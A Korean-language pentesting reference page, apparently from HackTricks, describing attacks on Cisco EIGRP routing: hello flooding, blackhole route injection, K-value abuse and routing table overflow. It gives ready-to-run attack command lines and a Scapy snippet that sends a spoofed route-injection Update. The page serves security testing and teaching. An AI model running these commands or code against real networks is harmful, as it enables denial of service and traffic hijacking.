EIGRP 공격

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

다음 글에서 공개된 공격에 대한 요약입니다: https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. 자세한 내용은 해당 글을 확인하세요.

가짜 EIGRP 이웃 공격

  • 목적: EIGRP hello 패킷을 대량으로 보내 라우터 CPU를 과부하시키고 잠재적인 DoS를 유발.
  • 도구: helloflooding.py 스크립트.
  • 실행:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • 파라미터:
  • --interface: 네트워크 인터페이스 지정, 예: eth0.
  • --as: EIGRP autonomous system 번호 지정, 예: 1.
  • --subnet: 서브넷 위치 지정, 예: 10.10.100.0/24.

EIGRP 블랙홀 공격

  • 목적: 잘못된 라우트를 주입해 트래픽을 존재하지 않는 목적지로 유도하여 네트워크 트래픽 흐름을 방해.
  • 도구: routeinject.py 스크립트.
  • 실행:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • 파라미터:
  • --interface: 공격자 시스템의 인터페이스 지정.
  • --as: EIGRP AS 번호 지정.
  • --src: 공격자 IP 주소 설정.
  • --dst: 대상 서브넷 IP 설정.
  • --prefix: 대상 서브넷 IP의 마스크 길이 지정.

K-Values 악용 공격

  • 목적: 변경된 K-values를 주입하여 EIGRP 도메인 내에서 지속적인 연결 끊김 및 재연결을 발생시켜 DoS를 유발.
  • 도구: relationshipnightmare.py 스크립트.
  • 실행:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • 파라미터:
  • --interface: 네트워크 인터페이스 지정.
  • --as: EIGRP AS 번호 지정.
  • --src: 정당한 라우터의 IP 주소 설정.

라우팅 테이블 오버플로우 공격

  • 목적: 수많은 가짜 라우트로 라우터의 CPU와 RAM을 압박.
  • 도구: routingtableoverflow.py 스크립트.
  • 실행:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • 파라미터:
  • --interface: 네트워크 인터페이스 지정.
  • --as: EIGRP AS 번호 지정.
  • --src: 공격자 IP 주소 설정.

공격에 유용한 프로토콜 노트

  • HELLO packets carry K-values and neighbors only form when they match. 이는 K-value 불일치 / 관계 붕괴 공격의 근거이며, K-values가 일치하지 않으면 adjacency가 형성되지 않는 이유입니다.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, 따라서 수동 캡처로 세그먼트에서 사용되는 정확한 값을 확인할 수 있습니다.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy는 EIGRPParamEIGRPIntRoute 같은 TLV를 포함하는 EIGRP contrib 레이어를 제공하므로 route injection을 위한 UPDATE를 제작하기에 충분합니다. 다음 예시는 davidbombal/scapy EIGRP route injection 스크립트에서 적응한 예시입니다:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

동일한 저장소에는 실제 EIGRP 패킷을 스니핑하고 spoofed source IP로 재생하여 phantom neighbors를 생성하는 빠른 “fake neighbor” 스크립트들이 포함되어 있습니다 (CPU/neighbor-table 압박에 유용).

  • Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Example scripts: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy는 가상 라우터 공격 실험실(FRRouting + Scapy)을 구축하며 EIGRP 테스트에 맞게 적용할 수 있는 DRP 공격을 포함합니다. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap의 NSE에는 EIGRP 패킷의 일부를 파싱/생성하기 위한 작은 eigrp 라이브러리가 있습니다. https://nmap.org/nsedoc/lib/eigrp.html

Authentication Recon

  • EIGRP named mode은 authentication mode hmac-sha-256 ...을 통해 HMAC-SHA-256 authentication을 지원합니다. 활성화된 경우, crafted packets는 올바른 키로 인증되어야 합니다; 비활성화된 경우 spoofing/injection을 검증하기가 더 쉽습니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기